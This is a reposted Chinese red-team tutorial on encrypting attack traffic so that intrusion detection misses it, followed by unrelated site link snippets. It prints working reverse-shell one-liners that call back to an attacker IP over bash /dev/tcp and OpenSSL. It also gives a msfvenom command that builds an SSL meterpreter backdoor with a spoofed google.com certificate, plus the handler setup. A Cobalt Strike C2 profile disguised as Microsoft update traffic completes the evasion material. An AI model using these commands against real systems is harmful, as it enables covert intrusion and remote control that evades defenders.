红蓝对抗之流量加密(Openssl加密传输、MSF流量加密、CS修改profile进行流量加密)

本篇文章转载于:https://blog.csdn.net/q20010619/article/details/122006433?utm_medium=distribute.pc_relevant.none-task-blog-2defaultbaidujs_utm_term~default-1-122006433-blog-122810834.pc_relevant_default&spm=1001.2101.3001.4242.2&utm_relevant_index=4

文章目录

    • 明文传输
    • Openssl加密传输
    • MSF流量加密
    • CS修改profile进行流量加密

红队进行渗透测试的后续渗透阶段为了扩大战果,往往需要横行渗透,反弹 shell,如果反弹 shell 都是明文传输,未加密的流量使用 wireshark 等工具抓包分析可以直接看到输入的命令和返回的信息,而且内网中 IDS 或者防护软件会进行流量进行分析,检测带有攻击特征,很容易被发现,如果蓝队对攻击流量回溯分析,就可以复现攻击的过程。此时红队攻击就会暴漏出来,整个项目都要停止

image-20211217203519224
接下来先看下明文传输,然后介绍一些常见的流量加密混淆的方法

明文传输

环境介绍

  • 攻击者Kali:192.168.179.134
  • 受害者ubuntu:192.168.179.139

因为已经进入了后渗透阶段,环境中我们已经拿到了受害者的权限

先来一个错误示范,看看未经加密的流量状态

首先攻击者使用 nc 监听反弹端口

nc -lvvp 8080

然后在受害者机器上执行反弹shell命令,当然反弹shell的方法有很多,可以了解下,这里使用的 bash 反弹shell,适用于 linux 系统,无需安装

bash -i >& /dev/tcp/192.168.179.134/8080 0>&1

有关反弹shell的文章:

  • linux各种一句话反弹shell总结
  • Linux反弹shell(一)文件描述符与重定向
  • Linux 反弹shell(二)反弹shell的本质

连接成功后在攻击机执行命令并使用 wireshark 嗅探流量(kali默认安装)

image-20211217211249421

分析流量,看 tcp 流量就可以了,右击选择追踪流,可以看到执行的命令

image-20211217211431050

Openssl加密传输

在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上

使用上一节的环境

使用步骤

  1. 1.攻击机使用 OpenSSL 生成自签名证书

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

2.攻击机监听端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

3.目标机器(受害者)执行反弹 shell 命令

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect
192.168.179.134:8080 > /tmp/s; rm /tmp/s
# IP为攻击者IP,端口为监听端口

mkfifo 是一个创建命令管道的函数

什么是命名管道

命名管道也被称为FIFO文件,它是一种特殊类型的文件,它在文件系统中以文件名的形式存在,但是它的行为却和之前所讲的没有名字的管道(匿名管道)类似。

由于Linux中所有的事物都可被视为文件,所以对命名管道的使用也就变得与文件操作非常的统一,也使它的使用非常方便,同时我们也可以像平常的文件名一样在命令中使用

image-20211217212914159

使用wireshark分析流量,可以看到 tcp 流中全部为乱码

image-20211217213019769

MSF流量加密

MSF 流量加密是基于 openssl 提供的加密功能,进行流量加密

环境介绍

  • 攻击者Kali:192.168.179.134
  • 受害者windows:192.168.179.136

使用步骤

  1. 在攻击机上使用 openssl 创建证书

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

image-20211217214130315

  • 在攻击机上生成后门

  • msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.179.134 LPORT=8080 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat# 需要修改Lhsot和Lport,使用刚才生成的证书生成后门
    

    image-20211217214450900

    攻击者设置监听器

    配置侦听器时还需要使用两个附加选项。这是为了通知处理程序它将使用的证书(与有效负载相同),并在接收到连接时执行 SSL 证书验证

    use exploit/multi/handler 
    set payload windows/meterpreter/reverse_winhttps
    set LHOST 192.168.179.134
    set LPORT 8080
    set HandlerSSLCert /root/msf/www.google.com.pem
    set StagerVerifySSLCert true
    exploit
    

    将生成的木马文件复制到受害者机器上执行后上线msf

    image-20211217215948944

    使用 wireshark 分析流量

    image-20211217220147825

    CS修改profile进行流量加密

    因为 CS 名声很大,使用很广泛,导致很多 ids 入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,因为证书没修改,容易通过流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复

    生成证书修改 C2 profile 加密混淆实际上就是对流量加密传输,目的逃逸流量安全审计,穿透检测器

    1. 生成 ssl 证书

      在运行 cobalt strike 默认使用的 cobaltstrike.store 证书,使用默认证书容易被检测到,所以需要生成新证书

      在kali中执行以下命令

    keytool -genkey -alias ocean -keyalg RSA -validity 36500 -keystore ocean.store
    

    image-20211217221338349

    image-20211217222634995

    因为修改 profile 要使用填写相关的地区信息 这些信息填写后在 profile 上还要使用 请勿乱填,填写了要保存,信息确认后会生成一个名为 ocean.store 的文件

  • 编辑 CS teamserver 的配置文件

  • set sample_name "ocean POS Malware";
    set sleeptime "5000"; # use a ~30s delay between callbacks
    set jitter "10";
    # throw in a 10% jitter
    set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101Firefox/24.0";
    #设置证书
    https-certificate {set CN"US";set O"MicrosoftUpdates";set C"en";set L"US";set OU"MicrosoftUpdates";set ST"US";set validity "365";
    }
    #设置
    code-signer{set keystore "ocean.store";set password "123456";set alias "ocean";
    }
    #指定 DNS beacon 不用的时候指定到 IP 地址
    set dns_idle "8.8.4.4";
    #每个单独 DNS 请求前强制睡眠时间
    set dns_sleep "0";
    #通过 DNS 上载数据时主机名的最大长度[0-255]
    set maxdns
    "235";
    http-post {set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php/windowsxp/updcheck.php /hello/flash.php";client {header "Accept" "text/plain";header "Accept-Language" "en-us";header "Accept-Encoding" "text/plain";header "Content-Type" "application/x-www-form-urlencoded";id {netbios;parameter "id";}output {base64;prepend "&op=1&id=vxeykS&ui=Josh @PC&wv=11&gr=backoff&bv=1.55&data=";print;}}server {output {print;}}
    }
    http-get {set uri "/updates";client {metadata {netbiosu;prepend "user=";header "Cookie";}}server {header "Content-Type" "text/plain";output {base64;print;}}
    }
    

    注意这里的信息需要于生成文件时填写的信息一致

    使用命令验证配置是否正确

    ./c2lint ocean.profile 
    

    修改teamserver端口

    vim teamserver
    # 找到端口修改即可
    

    启动teamserver

    ./teamserver ip password(密码) ocean.profile
    

    新建 https 监听器

    image-20211217224338115

    在添加监听器之后因为使用的是 443 https 端口,在浏览器访问时会提示证书无效,可以查看证书信息

    image-20211217224831462

  • 生成后门

    image-20211217225000627

  • 受害者执行上线,使用 wireshark 抓包分析,流量已经加密
    image-20211217225208467

  • 文章知识点与官方知识档案匹配,可进一步学习相关知识
    CS入门技能树Linux环境安装安装CentOS2567 人正在系统学习中
    完美之下,必有破绽
    微信名片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358208.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

有var d = new Date(‘20xx-m-09‘),可以设置为m+1月份的操作是?

setMonth(n)&#xff0c;这里是0-11分别对应1-12月 d.setDate(n); n表示一个月中的一天的一个数值&#xff08;1 ~ 31&#xff09;: 0 为上一个月的最后一天 -1 为上一个月最后一天之前的一天 如果当月有 31 天: 32 为下个月的第一天 如果当月有 30 天: 32 为下一个月的第二…

深入理解Java引用类型

深入理解Java引用类型 在Java中类型可分为两大类&#xff1a;值类型与引用类型。值类型就是基本数据类型&#xff08;如int ,double 等&#xff09;&#xff0c;而引用类型,是指除了基本的变量类型之外的所有类型&#xff08;如通过 class 定义的类型&#xff09;。所有的类型在…

值得一谈的鸿蒙2.0,程序员们拿起你们手中的编译器撸一下hello world

一款“面向未来”、面向全场景(移动办公、运动健康、社交通信、媒体娱乐等)的分布式操作系统 。现已开源,名为OpenHarmony。 2019年8月9日,华为在HDC开发者大会上正式发布鸿蒙系统。 2020年9月10日,华为在HDC开发者大会上如约发布鸿蒙 2.0,并面向应用开发者发布Beta版本…

GitHack使用方法

ctf小白刚下载这个&#xff0c;不知道怎么用。现在会用啦就记录一下~ 下载地址&#xff1a;https://github.com/lijiejie/GitHack 下载下来后&#xff0c;通过cmd使用&#xff0c;如下图所示&#xff1a; 总结&#xff08;命令&#xff09;&#xff1a; GitHack.py http://XXXX…

值得一谈的鸿蒙2.0,赶紧撸一下hello world

一款“面向未来”、面向全场景&#xff08;移动办公、运动健康、社交通信、媒体娱乐等&#xff09;的分布式操作系统 。现已开源&#xff0c;名为OpenHarmony。2019年8月9日&#xff0c;华为在HDC开发者大会上正式发布鸿蒙系统。2020年9月10日&#xff0c;华为在HDC开发者大会上…

【Jenkins】未授权访问漏洞

一、漏洞介绍 1 ) Jenkins介绍 Jenkins是一个基于Java开发的开源项目&#xff0c;可在Tomcat等流行的servlet容器中运行&#xff0c;也可以独立运行&#xff0c;其功能如下&#xff1a; 用于持续性、自动的构建/测试软件项目监控或跑一些定时任务监控外部调用执行的工作 2 …

解决谷歌浏览器F12打不开调试页面的问题。

最近应用着急上线&#xff0c;需要批量测试&#xff0c;发现F12不好使啦。 解决办法&#xff1a; 1.找到谷歌浏览器&#xff1a;设置-扩展程序-开发者模式。关闭。 2.刷新浏览器或者重启浏览器后&#xff0c;打开需要调试的页面&#xff0c;鼠标点一下地址栏&#xff0c;按F1…

还有另一个报告生成器?

如果您具有业务应用程序开发的经验&#xff0c;那么很可能会遇到要求该应用程序具有灵活的报告机制的需求。 我工作的公司主要专注于开发业务解决方案&#xff0c;而报告是必不可少的&#xff0c;的确&#xff0c;它必须包含我们开发的所有企业系统的方面。 为了在我们的系统中…

ARL资产侦察灯塔系统搭建及使用

ARL资产侦察灯塔系统搭建及使用 ARL&#xff08;Asset Reconnaissance Lighthouse&#xff09;资产侦查灯塔旨在快速发现并整理企业外网资产并为资产构建基础数据库&#xff0c;无需登录凭证或特殊访问即可主动发现并识别资产&#xff0c;让甲方安全团队或者渗透测试人员快速寻…

window电脑关闭自动更新的方法,妈妈再也不用担心我开机等电脑啦

公司的新电脑&#xff0c;每次关机开机都会更新&#xff0c;今天更新了3次&#xff0c;每次半小时&#xff0c;我忍不了&#xff0c;赶紧关闭自动更新。 1.winR打开面板输入services.msc&#xff0c;然后回车。 2.找到windows Update,右键找到 属性。 3.把启动类型改为“禁用”…

我是如何解决电脑连接WiFi提示无线适配器或访问点有问题

今天国庆后第一天上班&#xff0c;打开电脑一直连接不上我手机的热点&#xff0c;提示无线适配器或访问点有问题。可能是由于重启电脑自动更新系统的缘故&#xff0c;关闭电脑自动更新的办法请参考我的上一篇文章&#xff1a;window电脑关闭自动更新的方法 不说废话&#xff0…

如何使用git下载别人在github的代码?

今天东哥让我帮他们公司检查一下几十款产品的前端代码&#xff0c;我用新电脑作业了一下&#xff0c;简单分享git如何下载别人的代码。 完整教程请参考我上篇文章&#xff1a;——> Git教程学习总结 首先本地有git环境。打开git bash here。 查看一下版本 初始化git使…

AppScan的安装与使用

AppScan的安装与使用 实验环境&#xff1a;Win7 Win2k8 将软件包复制到这个目录下&#xff1a; 双击 复制到C盘&#xff1a; 复制到C盘的这个目录下&#xff0c;并替换&#xff1a; 然后到菜单栏中&#xff0c;双击查看&#xff1a; 这样就可以使用了: 使用App…

cmd黑窗口命令行模式进入指定盘符下的任意文件夹

通过使用命令&#xff0c;并加入参数 /d &#xff0c;可以通过一个步骤&#xff0c;直接进入指定盘符下的任意文件夹 比如要进入C盘下的C:\Users\Pactera\Desktop\rtt_web目录&#xff0c;则输入cd /d C:\Users\Pactera\Desktop\rtt_web

接口测试工具 restlet client

参考&#xff1a; https://blog.csdn.net/sunrainamazing/article/details/81281382https://blog.csdn.net/zlp1992/article/details/76706017 文章目录 下载若 你能翻墙下载 可以去如下网址下载方式二 采用离线CRX的方式进行安装(我用的第二种方式) 安装其次 &#xff0c; 一…

attr()与setAttribute()的区别

先看红色标注的&#xff1a; 这里传过来的this是个元素节点&#xff0c;因此currentTr也得用获取节点的方式parentNode去获取&#xff0c;而不能写parent()&#xff0c;这是第一个需要注意的地方。 第二个问题&#xff0c;就是怎么给currentTr设置属性和值得问题。我一开始想当…

我是如何成功准备VUE项目之前的开发环境?

提前安装好node, 参考我上一篇文章--------> 不同node.js版本 1.从git上把代码拷贝下来。 git clone +项目地址。 2.cmd模式下安装npm。 npm install 3.启动服务,npm run serve 。这里需要注意的是serve千万不要打成server啦,不然容易报错,这里还有两个小技…

Tomcat样列目录session 操控漏洞

一、基本情况 漏洞级别&#xff1a;中危 漏洞类别&#xff1a;session操纵漏洞 二、问题描述 ApacheTomcat默认安装页面中存在examples样例目录。里面存放着Servlets、JSP、WebSocket的一些服务脚本和接口等样例。Servletsexamples服务样例下存在一个session的样例。该样例可…

Failed to compile. ./src/utils/request.js Module not found: Error: Can‘t resolve ‘util-merge‘ in ‘C

在webstorm运行vue的一个项目&#xff0c;访问主页报错&#xff1a; Failed to compile. ./src/utils/request.js Module not found: Error: Cant resolve util-merge in C:\Users\Pactera\Desktop\rtt_web\src\utils 检查了一下代码是缺少util-merge插件。可以在编译器上进…

发布:NetBeans IDE 8.1 Beta

NetBeans IDE 8.1 Beta已发布。 NetBeans IDE在为Java开发人员提供完整而全面的工具方面拥有超过15年的丰富经验。 在过去的几年中&#xff0c;NetBeans IDE已为JavaScript开发人员实现了同样的目标。 特别是&#xff0c;NetBeans IDE 8.1引入了用于Node.js应用程序开发的完整而…